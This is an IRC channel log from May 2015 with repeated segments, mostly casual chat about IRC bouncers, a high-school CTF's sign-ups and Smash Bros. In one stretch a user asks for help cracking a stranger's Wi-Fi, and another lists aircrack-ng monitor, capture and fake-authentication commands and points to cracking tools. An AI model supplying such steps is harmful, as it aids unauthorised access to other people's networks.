[2015-05-07T21:21:27-0400] <LittleBobbyTables> idgaf
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[2015-05-07T21:50:41-0400] Set by awe on May 4, 2015 at 4:13:30 PM EDT
[2015-05-07T12:11:11-0400] <@awe> ...
[2015-05-07T12:11:13-0400] <@awe> This is my point.
[2015-05-07T12:11:23-0400] <@awe> "I didn't think I could do X without fucking everything up."
[2015-05-07T12:11:27-0400] <@awe> Try it anyway.
[2015-05-07T12:11:29-0400] <@awe> Who cares?
[2015-05-07T12:23:50-0400] <Inkrement> No tools seem to exist online for converting from one format to just vorbis without a container getting involved
[2015-05-07T12:25:57-0400] <@awe> ...
[2015-05-07T12:26:25-0400] <Inkrement> Everything converts to ogg vorbis
[2015-05-07T12:26:26-0400] <@awe> Options: convert to ogg vorbis and remove the encoded vorbis from container
[2015-05-07T12:26:44-0400] <@awe> Write small script that decodes a format with a container and then runs the vorbis encoder on it.
[2015-05-07T12:26:45-0400] <@awe> >.>
[2015-05-07T13:16:29-0400] <LittleBobbyTables> awe: stop being logical
[2015-05-07T13:16:34-0400] <LittleBobbyTables> and take away your away status
[2015-05-07T13:21:01-0400] <@awe> My away status?
[2015-05-07T13:21:05-0400] <@awe> Am I still marked as away?
[2015-05-07T13:21:11-0400] <LittleBobbyTables> You have been
[2015-05-07T13:21:14-0400] <LittleBobbyTables> For like 3 months
[2015-05-07T13:21:25-0400] <@awe> Am I still away?
[2015-05-07T13:21:30-0400] <LittleBobbyTables> Apparently
[2015-05-07T13:22:00-0400] <LittleBobbyTables> Yeah, /back works for me.
[2015-05-07T13:22:04-0400] <LittleBobbyTables> You must have broke something
[2015-05-07T13:22:12-0400] <@awe> Now?
[2015-05-07T13:22:36-0400] <LittleBobbyTables> I'm pretty sure you broke something
[2015-05-07T13:22:51-0400] <@awe> It's probably ZNC being buggy.
[2015-05-07T13:22:58-0400] <LittleBobbyTables> http://gyazo.com/2a59f68e8b1c556c80df2fe32070e373
[2015-05-07T13:23:08-0400] <@awe> I have problems with calc0000 always being marked as away too
[2015-05-07T13:23:28-0400] <LittleBobbyTables> He's here for me, though
[2015-05-07T13:25:38-0400] <@awe> I'm going to assume simple_away is broken.
[2015-05-07T13:25:40-0400] <@awe> I disabled it.
[2015-05-07T13:26:09-0400] <@awe> LittleBobbyTables: good now?
[2015-05-07T13:26:19-0400] <LittleBobbyTables> nope
[2015-05-07T13:26:30-0400] • awe: shrugs. I don't know what's up with this.
[2015-05-07T13:27:03-0400] <LittleBobbyTables> rc?
[2015-05-07T13:27:30-0400] <@awe> Solved?
[2015-05-07T13:27:40-0400] <LittleBobbyTables> yeah
[2015-05-07T13:28:18-0400] <@awe> Okay, cool.
[2015-05-07T16:56:05-0400] <JacobEdelman> watching numbers tick upwards is fun
[2015-05-07T16:56:26-0400] <JacobEdelman> in this case its the hsctf registration numbers
[2015-05-07T16:57:10-0400] <JacobEdelman> over the course of an hour it went up by 17
[2015-05-07T16:57:26-0400] <JacobEdelman> at this rate of acceleration I predict we will surpass the worlds population by sunday
[2015-05-07T20:40:02-0400] <calc0000> (1:23:07 PM) awe: I have problems with calc0000 always being marked as away too
[2015-05-07T20:40:07-0400] <calc0000> but i am away most of the time
[2015-05-07T20:40:53-0400] <calc0000> though if my weechat is to be trusted then it is, in fact, true that i am marked away way too often
[2015-05-07T21:16:04-0400] <JacobEdelman> hey
[2015-05-07T21:16:05-0400] <JacobEdelman> guess way
[2015-05-07T21:16:13-0400] <JacobEdelman> 139 users signed up for hsctf
[2015-05-07T21:16:17-0400] <JacobEdelman> and 104 teams
[2015-05-07T21:17:01-0400] <JacobEdelman> just got my 12th pm from awebot
[2015-05-07T21:21:27-0400] <LittleBobbyTables> idgaf
[2015-05-07T21:27:06-0400] <alokpathy> rekt
[2015-05-07T21:50:42-0400] Mode is +nrt
[2015-05-07T21:52:59-0400] <@awe> Can anyone get me the direct download link for kismac-ng so that I can wget it?
[2015-05-07T21:53:13-0400] <@awe> I need to hijack some wifi, but my cell coverage isn't good enough to browse the site.
[2015-05-07T21:53:17-0400] <@awe> http://kismac-ng.org
[2015-05-07T21:53:19-0400] <jwoglom> use elinks!
[2015-05-07T21:53:27-0400] <@awe> I can get that on brew.
[2015-05-07T21:53:30-0400] <@awe> How does someone use elinks?
[2015-05-07T21:53:37-0400] <jwoglom> it's a web browser
[2015-05-07T21:53:44-0400] <@awe> Nevermind.
[2015-05-07T21:53:46-0400] <jwoglom> elinks http://google.com/search?q=kismac-ng+download+link
[2015-05-07T21:53:48-0400] <@awe> Just get me kismac link?
[2015-05-07T21:53:51-0400] <@awe> pls?
[2015-05-07T21:54:05-0400] <jwoglom> for linux? or osx
[2015-05-07T21:54:08-0400] <@awe> OS X
[2015-05-07T21:54:32-0400] <jwoglom> nightly build is http://downloads.igrsoft.com/beta/KisMac2.zip
[2015-05-07T21:54:41-0400] <@awe> Awesome, thanks.
[2015-05-07T21:57:28-0400] <@awe> Now I need to figure out how to use this.
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[2015-05-07T22:01:13-0400] Set by awe on May 4, 2015 at 4:13:30 PM EDT
[2015-05-07T13:21:14-0400] <LittleBobbyTables> For like 3 months
[2015-05-07T13:21:25-0400] <@awe> Am I still away?
[2015-05-07T13:21:30-0400] <LittleBobbyTables> Apparently
[2015-05-07T13:22:00-0400] <LittleBobbyTables> Yeah, /back works for me.
[2015-05-07T13:22:04-0400] <LittleBobbyTables> You must have broke something
[2015-05-07T13:22:12-0400] <@awe> Now?
[2015-05-07T13:22:36-0400] <LittleBobbyTables> I'm pretty sure you broke something
[2015-05-07T13:22:51-0400] <@awe> It's probably ZNC being buggy.
[2015-05-07T13:22:58-0400] <LittleBobbyTables> http://gyazo.com/2a59f68e8b1c556c80df2fe32070e373
[2015-05-07T13:23:08-0400] <@awe> I have problems with calc0000 always being marked as away too
[2015-05-07T13:23:28-0400] <LittleBobbyTables> He's here for me, though
[2015-05-07T13:25:38-0400] <@awe> I'm going to assume simple_away is broken.
[2015-05-07T13:25:40-0400] <@awe> I disabled it.
[2015-05-07T13:26:09-0400] <@awe> LittleBobbyTables: good now?
[2015-05-07T13:26:19-0400] <LittleBobbyTables> nope
[2015-05-07T13:26:30-0400] • awe: shrugs. I don't know what's up with this.
[2015-05-07T13:27:03-0400] <LittleBobbyTables> rc?
[2015-05-07T13:27:30-0400] <@awe> Solved?
[2015-05-07T13:27:40-0400] <LittleBobbyTables> yeah
[2015-05-07T13:28:18-0400] <@awe> Okay, cool.
[2015-05-07T16:56:05-0400] <JacobEdelman> watching numbers tick upwards is fun
[2015-05-07T16:56:26-0400] <JacobEdelman> in this case its the hsctf registration numbers
[2015-05-07T16:57:10-0400] <JacobEdelman> over the course of an hour it went up by 17
[2015-05-07T16:57:26-0400] <JacobEdelman> at this rate of acceleration I predict we will surpass the worlds population by sunday
[2015-05-07T20:40:02-0400] <calc0000> (1:23:07 PM) awe: I have problems with calc0000 always being marked as away too
[2015-05-07T20:40:07-0400] <calc0000> but i am away most of the time
[2015-05-07T20:40:53-0400] <calc0000> though if my weechat is to be trusted then it is, in fact, true that i am marked away way too often
[2015-05-07T21:16:04-0400] <JacobEdelman> hey
[2015-05-07T21:16:05-0400] <JacobEdelman> guess way
[2015-05-07T21:16:13-0400] <JacobEdelman> 139 users signed up for hsctf
[2015-05-07T21:16:17-0400] <JacobEdelman> and 104 teams
[2015-05-07T21:17:01-0400] <JacobEdelman> just got my 12th pm from awebot
[2015-05-07T21:21:27-0400] <LittleBobbyTables> idgaf
[2015-05-07T21:27:06-0400] <alokpathy> rekt
[2015-05-07T21:52:57-0400] <@awe> Can anyone get me the direct download link for kismac-ng so that I can wget it?
[2015-05-07T21:53:11-0400] <@awe> I need to hijack some wifi, but my cell coverage isn't good enough to browse the site.
[2015-05-07T21:53:15-0400] <@awe> http://kismac-ng.org
[2015-05-07T21:53:16-0400] <jwoglom> use elinks!
[2015-05-07T21:53:25-0400] <@awe> I can get that on brew.
[2015-05-07T21:53:28-0400] <@awe> How does someone use elinks?
[2015-05-07T21:53:35-0400] <jwoglom> it's a web browser
[2015-05-07T21:53:41-0400] <@awe> Nevermind.
[2015-05-07T21:53:44-0400] <jwoglom> elinks http://google.com/search?q=kismac-ng+download+link
[2015-05-07T21:53:46-0400] <@awe> Just get me kismac link?
[2015-05-07T21:53:49-0400] <@awe> pls?
[2015-05-07T21:54:03-0400] <jwoglom> for linux? or osx
[2015-05-07T21:54:06-0400] <@awe> OS X
[2015-05-07T21:54:30-0400] <jwoglom> nightly build is http://downloads.igrsoft.com/beta/KisMac2.zip
[2015-05-07T21:54:39-0400] <@awe> Awesome, thanks.
[2015-05-07T21:57:26-0400] <@awe> Now I need to figure out how to use this.
[2015-05-07T22:01:15-0400] Mode is +nrt
[2015-05-07T22:01:20-0400] <@awe> I don't appear to be able to do anything particularly useful with this.
[2015-05-07T22:01:33-0400] <LittleBobbyTables> awe: get fern
[2015-05-07T22:01:35-0400] <@awe> It's able to monitor, but it doesn't seem like it's able to do much else.
[2015-05-07T22:01:41-0400] <@awe> what's fern?
[2015-05-07T22:01:55-0400] <LittleBobbyTables> git link: https://github.com/savio-code/fern-wifi-cracker.git
[2015-05-07T22:02:15-0400] <@awe> Will this work easily?
[2015-05-07T22:02:29-0400] <LittleBobbyTables> You push "crack"
[2015-05-07T22:02:39-0400] <LittleBobbyTables> Do you need it to get any easier?
[2015-05-07T22:03:02-0400] <@awe> Dependencies or anything?
[2015-05-07T22:03:11-0400] <LittleBobbyTables> aircrack
[2015-05-07T22:03:35-0400] <@awe> Okay, I have aircrack installde (not the whole suite though)
[2015-05-07T22:03:37-0400] <@awe> IS that okay?
[2015-05-07T22:03:53-0400] <LittleBobbyTables> uhh
[2015-05-07T22:04:04-0400] <LittleBobbyTables> airmon, airodump, aircrack
[2015-05-07T22:04:06-0400] <LittleBobbyTables> are the three needed
[2015-05-07T22:04:09-0400] <@awe> Damn.
[2015-05-07T22:04:17-0400] <LittleBobbyTables> airodump sniffs
[2015-05-07T22:04:19-0400] <@awe> This appears to be Linux only from the description anyway.
[2015-05-07T22:04:22-0400] <LittleBobbyTables> aircrack cracks
[2015-05-07T22:04:22-0400] <@awe> I know.
[2015-05-07T22:04:29-0400] <@awe> If I had the full aircrack suite, I'd just use that.
[2015-05-07T22:04:29-0400] <LittleBobbyTables> oh on your mac?
[2015-05-07T22:04:31-0400] <@awe> Yes.
[2015-05-07T22:04:38-0400] <@awe> Do you have any recommendations?
[2015-05-07T22:04:50-0400] <LittleBobbyTables> aircrack from terminal
[2015-05-07T22:05:02-0400] <@awe> I just want to hack someone's wifi so I can play HoTS while I wait for my girlfriend to get to her house.
[2015-05-07T22:05:10-0400] <@awe> Her wifi is weirdly missing.
[2015-05-07T22:05:18-0400] <@awe> Her mom drives so damn slow.
[2015-05-07T22:05:26-0400] <jwoglom> get closer to her house, then
[2015-05-07T22:05:30-0400] <LittleBobbyTables> if it's WEP then just do it from the terminal
[2015-05-07T22:05:30-0400] <@awe> When I got here, they were entering New Jersey.
[2015-05-07T22:05:37-0400] <@awe> I'm literally right outside the door, jwoglom.
[2015-05-07T22:06:04-0400] <jwoglom> so, get closer
[2015-05-07T22:06:06-0400] <jwoglom> duh
[2015-05-07T22:06:09-0400] <@awe> LittleBobbyTables: I don't have the full suite.
[2015-05-07T22:06:11-0400] <@awe> jwoglom: so, break in?
[2015-05-07T22:06:12-0400] <jwoglom> run some ethernet out of a window
[2015-05-07T22:06:37-0400] <LittleBobbyTables> awe: get the full suite then you derp
[2015-05-07T22:06:45-0400] <@awe> Where to get full suite for OS X?
[2015-05-07T22:06:51-0400] <@awe> brew install aircrack-ng only got me aircrack. .-.
[2015-05-07T22:07:45-0400] <LittleBobbyTables> sudo port install aircrack-ng
[2015-05-07T22:07:50-0400] <@awe> I don't have mac ports.
[2015-05-07T22:07:55-0400] <LittleBobbyTables> get it
[2015-05-07T22:07:59-0400] <@awe> .-.
[2015-05-07T22:08:09-0400] <LittleBobbyTables> what version
[2015-05-07T22:08:12-0400] <jwoglom> brew is a replacement for macports
[2015-05-07T22:08:14-0400] <@awe> ^
[2015-05-07T22:08:21-0400] <LittleBobbyTables> :/
[2015-05-07T22:08:22-0400] <@awe> LittleBobbyTables: what version what?
[2015-05-07T22:08:25-0400] <LittleBobbyTables> macports installs the full version
[2015-05-07T22:08:27-0400] <LittleBobbyTables> I know that 100%
[2015-05-07T22:08:32-0400] <LittleBobbyTables> aireplay + everything as well
[2015-05-07T22:08:38-0400] <LittleBobbyTables> are you sure you can't airodump-ng
[2015-05-07T22:09:02-0400] <@awe> url "http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz"  
[2015-05-07T22:09:05-0400] <@awe> shouldn't this be the full version?
[2015-05-07T22:09:31-0400] <LittleBobbyTables> Let me check
[2015-05-07T22:09:39-0400] <@awe> I'm sure I can't run airodump-ng
[2015-05-07T22:10:02-0400] <@awe> aircrack-ng
[2015-05-07T22:10:02-0400] <@awe> airdecap-ng
[2015-05-07T22:10:02-0400] <@awe> airdecloak-ng
[2015-05-07T22:10:05-0400] <@awe> Those are the ones I have.
[2015-05-07T22:10:11-0400] <LittleBobbyTables> Yeah, it is
[2015-05-07T22:10:14-0400] <@awe> ...
[2015-05-07T22:10:24-0400] <LittleBobbyTables> That link you have is the full version
[2015-05-07T22:10:37-0400] <@awe> OH.
[2015-05-07T22:10:42-0400] <@awe> Brew is fucking up.
[2015-05-07T22:10:49-0400] <@awe> It doesn't link the other ones because they're in sbin.
[2015-05-07T22:10:58-0400] <LittleBobbyTables> That would explain it
[2015-05-07T22:10:59-0400] <@awe> LittleBobbyTables: Okay, what's the process for this again?
[2015-05-07T22:11:03-0400] <@awe> I haven't done it in a long time.
[2015-05-07T22:11:26-0400] <LittleBobbyTables> sudo airmon-ng start <adapter>
[2015-05-07T22:12:02-0400] <LittleBobbyTables> airodump-ng mon0
[2015-05-07T22:12:18-0400] <LittleBobbyTables> find the one
[2015-05-07T22:12:38-0400] <LittleBobbyTables> airodump-ng -c $channel --bssid $bssid -w output mon0
[2015-05-07T22:13:12-0400] <@awe> Wireless tools not found
[2015-05-07T22:13:13-0400] <LittleBobbyTables> aireplay-ng -1 0 -e $ssid -a $bssid -h $essid mon0
[2015-05-07T22:13:16-0400] <LittleBobbyTables> ?
[2015-05-07T22:13:22-0400] <@awe> When I try to do airmon-ng
[2015-05-07T22:13:34-0400] <LittleBobbyTables> screenshot?
[2015-05-07T22:13:45-0400] <@awe> It literally just says "Wireless tools not found"
[2015-05-07T22:13:46-0400] <@awe> as the output
[2015-05-07T22:14:06-0400] <LittleBobbyTables> what are you typing
[2015-05-07T22:14:15-0400] <@awe> White-Pillar:sbin Aaron$ sudo ./airmon-ng start lo0
[2015-05-07T22:14:15-0400] <@awe> Wireless tools not found
[2015-05-07T22:14:28-0400] <LittleBobbyTables> uhh
[2015-05-07T22:14:34-0400] <LittleBobbyTables> lo0 is wrong
[2015-05-07T22:14:38-0400] <LittleBobbyTables> ifconfig?
[2015-05-07T22:15:15-0400] <LittleBobbyTables> try en1
[2015-05-07T22:15:21-0400] <@awe> lo0, gif0, stf0, en0-en2, p2p0, awdl0, bridge0, utun0-utun2
[2015-05-07T22:15:33-0400] <@awe> all the ens don't work.
[2015-05-07T22:15:44-0400] <LittleBobbyTables> en1 is wifi :/
[2015-05-07T22:15:50-0400] <LittleBobbyTables> lo is loopback
[2015-05-07T22:15:55-0400] <LittleBobbyTables> en0 is ethernet
[2015-05-07T22:15:55-0400] <@awe> They all give the same wireless tools not found.
[2015-05-07T22:15:59-0400] <LittleBobbyTables> hmmm
[2015-05-07T22:16:07-0400] <@awe> I don't think it's related to the device.
[2015-05-07T22:16:35-0400] <LittleBobbyTables> probably not
[2015-05-07T22:16:38-0400] <LittleBobbyTables> it's limited support on mac
[2015-05-07T22:17:13-0400] <@awe> I feel like limited support means "We only let you do cracking."
[2015-05-07T22:17:18-0400] <@awe> "No monitoring."
[2015-05-07T22:17:26-0400] <@awe> Because drivers.
[2015-05-07T22:17:52-0400] <LittleBobbyTables> meh
[2015-05-07T22:17:53-0400] <LittleBobbyTables> sucks to suck
[2015-05-07T22:18:08-0400] <@awe> I have a headache, and I don't know why.
[2015-05-07T22:18:41-0400] <LittleBobbyTables> too much dick?
[2015-05-07T22:18:44-0400] <bob_twinkles1> wrong end of the torso LittleBobbyTables 
[2015-05-07T22:19:27-0400] <@awe> bob_twinkles1: u wot m8?
[2015-05-07T22:20:38-0400] <@awe> LittleBobbyTables: apparently, you're supposed to use KisMac for monitoring, but it doesn't actually appear to be collecting packets.
[2015-05-07T22:20:47-0400] <LittleBobbyTables> awe: idk how to mac
[2015-05-07T22:21:07-0400] <@awe> I don't understand why this program does not actually do it's job.
[2015-05-07T22:21:09-0400] <@awe> its*
[2015-05-07T22:21:11-0400] <LittleBobbyTables> time to movies.
[2015-05-07T22:22:23-0400] <@awe> Well, at least trying and failing killed some time.
[2015-05-07T22:22:59-0400] Disconnect for Sleep Mode
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[2015-05-07T23:29:20-0400] Set by awe on May 4, 2015 at 4:13:30 PM EDT
[2015-05-07T22:10:22-0400] <LittleBobbyTables> That link you have is the full version
[2015-05-07T22:10:36-0400] <@awe> OH.
[2015-05-07T22:10:40-0400] <@awe> Brew is fucking up.
[2015-05-07T22:10:47-0400] <@awe> It doesn't link the other ones because they're in sbin.
[2015-05-07T22:10:56-0400] <LittleBobbyTables> That would explain it
[2015-05-07T22:10:57-0400] <@awe> LittleBobbyTables: Okay, what's the process for this again?
[2015-05-07T22:11:01-0400] <@awe> I haven't done it in a long time.
[2015-05-07T22:11:24-0400] <LittleBobbyTables> sudo airmon-ng start <adapter>
[2015-05-07T22:11:59-0400] <LittleBobbyTables> airodump-ng mon0
[2015-05-07T22:12:16-0400] <LittleBobbyTables> find the one
[2015-05-07T22:12:36-0400] <LittleBobbyTables> airodump-ng -c $channel --bssid $bssid -w output mon0
[2015-05-07T22:13:10-0400] <@awe> Wireless tools not found
[2015-05-07T22:13:11-0400] <LittleBobbyTables> aireplay-ng -1 0 -e $ssid -a $bssid -h $essid mon0
[2015-05-07T22:13:13-0400] <LittleBobbyTables> ?
[2015-05-07T22:13:20-0400] <@awe> When I try to do airmon-ng
[2015-05-07T22:13:32-0400] <LittleBobbyTables> screenshot?
[2015-05-07T22:13:43-0400] <@awe> It literally just says "Wireless tools not found"
[2015-05-07T22:13:44-0400] <@awe> as the output
[2015-05-07T22:14:04-0400] <LittleBobbyTables> what are you typing
[2015-05-07T22:14:13-0400] <@awe> White-Pillar:sbin Aaron$ sudo ./airmon-ng start lo0
[2015-05-07T22:14:13-0400] <@awe> Wireless tools not found
[2015-05-07T22:14:25-0400] <LittleBobbyTables> uhh
[2015-05-07T22:14:32-0400] <LittleBobbyTables> lo0 is wrong
[2015-05-07T22:14:35-0400] <LittleBobbyTables> ifconfig?
[2015-05-07T22:15:13-0400] <LittleBobbyTables> try en1
[2015-05-07T22:15:18-0400] <@awe> lo0, gif0, stf0, en0-en2, p2p0, awdl0, bridge0, utun0-utun2
[2015-05-07T22:15:31-0400] <@awe> all the ens don't work.
[2015-05-07T22:15:41-0400] <LittleBobbyTables> en1 is wifi :/
[2015-05-07T22:15:48-0400] <LittleBobbyTables> lo is loopback
[2015-05-07T22:15:53-0400] <LittleBobbyTables> en0 is ethernet
[2015-05-07T22:15:53-0400] <@awe> They all give the same wireless tools not found.
[2015-05-07T22:15:57-0400] <LittleBobbyTables> hmmm
[2015-05-07T22:16:05-0400] <@awe> I don't think it's related to the device.
[2015-05-07T22:16:33-0400] <LittleBobbyTables> probably not
[2015-05-07T22:16:35-0400] <LittleBobbyTables> it's limited support on mac
[2015-05-07T22:17:11-0400] <@awe> I feel like limited support means "We only let you do cracking."
[2015-05-07T22:17:18-0400] <@awe> "No monitoring."
[2015-05-07T22:17:24-0400] <@awe> Because drivers.
[2015-05-07T22:17:49-0400] <LittleBobbyTables> meh
[2015-05-07T22:17:51-0400] <LittleBobbyTables> sucks to suck
[2015-05-07T22:18:06-0400] <@awe> I have a headache, and I don't know why.
[2015-05-07T22:18:27-0400] <LittleBobbyTables> too much dick?
[2015-05-07T22:18:40-0400] <bob_twinkles1> wrong end of the torso LittleBobbyTables 
[2015-05-07T22:19:25-0400] <@awe> bob_twinkles1: u wot m8?
[2015-05-07T22:20:36-0400] <@awe> LittleBobbyTables: apparently, you're supposed to use KisMac for monitoring, but it doesn't actually appear to be collecting packets.
[2015-05-07T22:20:45-0400] <LittleBobbyTables> awe: idk how to mac
[2015-05-07T22:21:05-0400] <@awe> I don't understand why this program does not actually do it's job.
[2015-05-07T22:21:07-0400] <@awe> its*
[2015-05-07T22:21:08-0400] <LittleBobbyTables> time to movies.
[2015-05-07T22:22:21-0400] <@awe> Well, at least trying and failing killed some time.
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[2015-05-08T07:17:38-0400] <JacobEdelman> gmorning all
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[2015-05-08T07:18:56-0400] <jwoglom> while you can! So shoot on down to REGISTER.WEBCAM and get yours today! Use "MegaPixel" coupon for a FREE .WEBCAM domain name now!"
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[2015-05-08T11:32:29-0400] <LittleBobbyTables> >guy talks about why Windows is bad (invalid reasons from 8 years ago...)
[2015-05-08T11:32:29-0400] <LittleBobbyTables> >I ask him if he likes compiling his own drivers
[2015-05-08T11:32:29-0400] <LittleBobbyTables> >"idk what you mean by that"
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[2015-05-08T15:03:52-0400] <@awe> LittleBobbyTables: windoze is bad
[2015-05-08T15:25:43-0400] <JacobEdelman> 175 teams
[2015-05-08T15:25:46-0400] <JacobEdelman> 261 users
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[2015-05-08T23:56:50-0400] Set by awe on May 4, 2015 at 4:13:30 PM EDT
[2015-05-08T15:25:46-0400] <JacobEdelman> 261 users
[2015-05-08T15:43:37-0400] <nickthename> don't you mean macro$aft wanblows?
[2015-05-08T16:32:12-0400] <JacobEdelman> so I'm playing brawl
[2015-05-08T16:32:21-0400] <JacobEdelman> I'm ice climbers cause I'm playing random
[2015-05-08T16:32:36-0400] <JacobEdelman> its 1v1, me vs my little brother
[2015-05-08T16:33:02-0400] <JacobEdelman> we both get up to a really high percentage
[2015-05-08T16:33:09-0400] <JacobEdelman> him being lucario this gives him an advantage
[2015-05-08T16:33:29-0400] <JacobEdelman> so he hits up the human controlled ice climber and it starts shrinking into the background
[2015-05-08T16:33:34-0400] <JacobEdelman> he lets out a woop of delight
[2015-05-08T16:33:44-0400] <JacobEdelman> and the ai ice climber kills him
[2015-05-08T16:33:47-0400] <JacobEdelman> :P
[2015-05-08T18:45:07-0400] <LittleBobbyTables> dude wtf are you smoking
[2015-05-08T18:45:12-0400] <LittleBobbyTables> ice climbers is broken in brawl
[2015-05-08T18:45:37-0400] <LittleBobbyTables> like
[2015-05-08T18:45:39-0400] <LittleBobbyTables> literally broken
[2015-05-08T19:26:50-0400] <JacobEdelman> I bad at brawl
[2015-05-08T19:27:01-0400] <JacobEdelman> anyway, my one good character is Yoshi
[2015-05-08T19:30:54-0400] <LittleBobbyTables> you're the worst brawl player ever
[2015-05-08T19:32:34-0400] <JacobEdelman> wat
[2015-05-08T19:32:36-0400] <JacobEdelman> first of all
[2015-05-08T19:32:41-0400] <JacobEdelman> I prefer melee
[2015-05-08T19:32:43-0400] <JacobEdelman> second of all
[2015-05-08T19:32:51-0400] <JacobEdelman> I can beat my younger brothers metaknight
[2015-05-08T19:32:58-0400] <JacobEdelman> although his snake is a close match
[2015-05-08T19:33:13-0400] <JacobEdelman> LittleBobbyTables: what should I play that's easy to learn?
[2015-05-08T19:33:20-0400] <JacobEdelman> preferably someone I can troll people with
[2015-05-08T19:34:00-0400] <LittleBobbyTables> uhh depends
[2015-05-08T19:34:03-0400] <LittleBobbyTables> ice climbers is broken
[2015-05-08T19:34:11-0400] <LittleBobbyTables> little mac is broken
[2015-05-08T19:34:20-0400] <LittleBobbyTables> kirby is trolly
[2015-05-08T19:34:56-0400] <JacobEdelman> for melle/brawl
[2015-05-08T19:35:04-0400] <JacobEdelman> I could try kirby again
[2015-05-08T19:35:10-0400] <LittleBobbyTables> brawl
[2015-05-08T19:35:11-0400] <JacobEdelman> but I love trolling people with yoshi
[2015-05-08T19:35:17-0400] <LittleBobbyTables> lucas is fun
[2015-05-08T19:35:23-0400] <LittleBobbyTables> lucas/ness
[2015-05-08T19:35:24-0400] <LittleBobbyTables> hard, but fun
[2015-05-08T19:35:30-0400] <JacobEdelman> in multi player matches I can generally get off lots of damage with my side B
[2015-05-08T19:35:32-0400] <LittleBobbyTables> sonic you can just roll around everywhere
[2015-05-08T19:35:42-0400] <JacobEdelman> LittleBobbyTables: oh yeah
[2015-05-08T19:35:48-0400] <JacobEdelman> sonic used to be my main character
[2015-05-08T19:35:52-0400] <JacobEdelman> now he's my second
[2015-05-08T19:35:57-0400] <JacobEdelman> he is fun
[2015-05-08T19:36:10-0400] <JacobEdelman> I may learn jiggly puff just to complete the rolling set
[2015-05-08T19:38:15-0400] <LittleBobbyTables> jiggly puff is shit
[2015-05-08T19:38:16-0400] <LittleBobbyTables> in brawl
[2015-05-08T19:38:21-0400] <LittleBobbyTables> broken in melee though
[2015-05-08T19:38:31-0400] <LittleBobbyTables> you can kill from 30%
[2015-05-08T19:39:19-0400] <JacobEdelman> I know
[2015-05-08T23:52:24-0400] <JacobEdelman> Gnight all
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[2015-05-09T00:10:30-0400] Set by awe on May 4, 2015 at 4:13:30 PM EDT
[2015-05-08T15:25:46-0400] <JacobEdelman> 261 users
[2015-05-08T15:43:37-0400] <nickthename> don't you mean macro$aft wanblows?
[2015-05-08T16:32:12-0400] <JacobEdelman> so I'm playing brawl
[2015-05-08T16:32:21-0400] <JacobEdelman> I'm ice climbers cause I'm playing random
[2015-05-08T16:32:36-0400] <JacobEdelman> its 1v1, me vs my little brother
[2015-05-08T16:33:02-0400] <JacobEdelman> we both get up to a really high percentage
[2015-05-08T16:33:09-0400] <JacobEdelman> him being lucario this gives him an advantage
[2015-05-08T16:33:29-0400] <JacobEdelman> so he hits up the human controlled ice climber and it starts shrinking into the background
[2015-05-08T16:33:34-0400] <JacobEdelman> he lets out a woop of delight
[2015-05-08T16:33:44-0400] <JacobEdelman> and the ai ice climber kills him
[2015-05-08T16:33:47-0400] <JacobEdelman> :P
[2015-05-08T18:45:07-0400] <LittleBobbyTables> dude wtf are you smoking
[2015-05-08T18:45:12-0400] <LittleBobbyTables> ice climbers is broken in brawl
[2015-05-08T18:45:37-0400] <LittleBobbyTables> like
[2015-05-08T18:45:39-0400] <LittleBobbyTables> literally broken
[2015-05-08T19:26:50-0400] <JacobEdelman> I bad at brawl
[2015-05-08T19:27:01-0400] <JacobEdelman> anyway, my one good character is Yoshi
[2015-05-08T19:30:54-0400] <LittleBobbyTables> you're the worst brawl player ever
[2015-05-08T19:32:34-0400] <JacobEdelman> wat
[2015-05-08T19:32:36-0400] <JacobEdelman> first of all
[2015-05-08T19:32:41-0400] <JacobEdelman> I prefer melee
[2015-05-08T19:32:43-0400] <JacobEdelman> second of all
[2015-05-08T19:32:51-0400] <JacobEdelman> I can beat my younger brothers metaknight
[2015-05-08T19:32:58-0400] <JacobEdelman> although his snake is a close match
[2015-05-08T19:33:13-0400] <JacobEdelman> LittleBobbyTables: what should I play that's easy to learn?
[2015-05-08T19:33:20-0400] <JacobEdelman> preferably someone I can troll people with
[2015-05-08T19:34:00-0400] <LittleBobbyTables> uhh depends
[2015-05-08T19:34:03-0400] <LittleBobbyTables> ice climbers is broken
[2015-05-08T19:34:11-0400] <LittleBobbyTables> little mac is broken
[2015-05-08T19:34:20-0400] <LittleBobbyTables> kirby is trolly
[2015-05-08T19:34:56-0400] <JacobEdelman> for melle/brawl
[2015-05-08T19:35:04-0400] <JacobEdelman> I could try kirby again
[2015-05-08T19:35:10-0400] <LittleBobbyTables> brawl
[2015-05-08T19:35:11-0400] <JacobEdelman> but I love trolling people with yoshi
[2015-05-08T19:35:17-0400] <LittleBobbyTables> lucas is fun
[2015-05-08T19:35:23-0400] <LittleBobbyTables> lucas/ness
[2015-05-08T19:35:24-0400] <LittleBobbyTables> hard, but fun
[2015-05-08T19:35:30-0400] <JacobEdelman> in multi player matches I can generally get off lots of damage with my side B
[2015-05-08T19:35:32-0400] <LittleBobbyTables> sonic you can just roll around everywhere
[2015-05-08T19:35:42-0400] <JacobEdelman> LittleBobbyTables: oh yeah
[2015-05-08T19:35:48-0400] <JacobEdelman> sonic used to be my main character
[2015-05-08T19:35:52-0400] <JacobEdelman> now he's my second
[2015-05-08T19:35:57-0400] <JacobEdelman> he is fun
[2015-05-08T19:36:10-0400] <JacobEdelman> I may learn jiggly puff just to complete the rolling set
[2015-05-08T19:38:15-0400] <LittleBobbyTables> jiggly puff is shit
[2015-05-08T19:38:16-0400] <LittleBobbyTables> in brawl
[2015-05-08T19:38:21-0400] <LittleBobbyTables> broken in melee though
[2015-05-08T19:38:31-0400] <LittleBobbyTables> you can kill from 30%
[2015-05-08T19:39:19-0400] <JacobEdelman> I know
[2015-05-08T23:52:24-0400] <JacobEdelman> Gnight all
[2015-05-09T00:10:32-0400] Mode is +nrt
[2015-05-09T00:14:04-0400] <+awe> LittleBobbyTables: I play a decent Marth in Melee.
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[2015-05-09T12:40:09-0400] <+awe> Hey, guys. Take a look at this: http://unisonweb.org
[2015-05-09T12:40:11-0400] <+awe> Especially JacobEdelman.
[2015-05-09T12:42:03-0400] <jwoglom> that homepage explains literally nothing, lol
[2015-05-09T12:42:34-0400] <fwilson> $ // wait 20 minutes while half the Haskell ecosystem
[2015-05-09T12:42:36-0400] <fwilson> $ // gets downloaded and compiled
[2015-05-09T12:42:38-0400] <fwilson> not how shell comments work
[2015-05-09T12:46:38-0400] <LittleBobbyTables> Are you sure
[2015-05-09T12:47:08-0400] <+awe> jwoglom: click about?
[2015-05-09T12:47:29-0400] <jwoglom> yeah i saw there was actually some information on there
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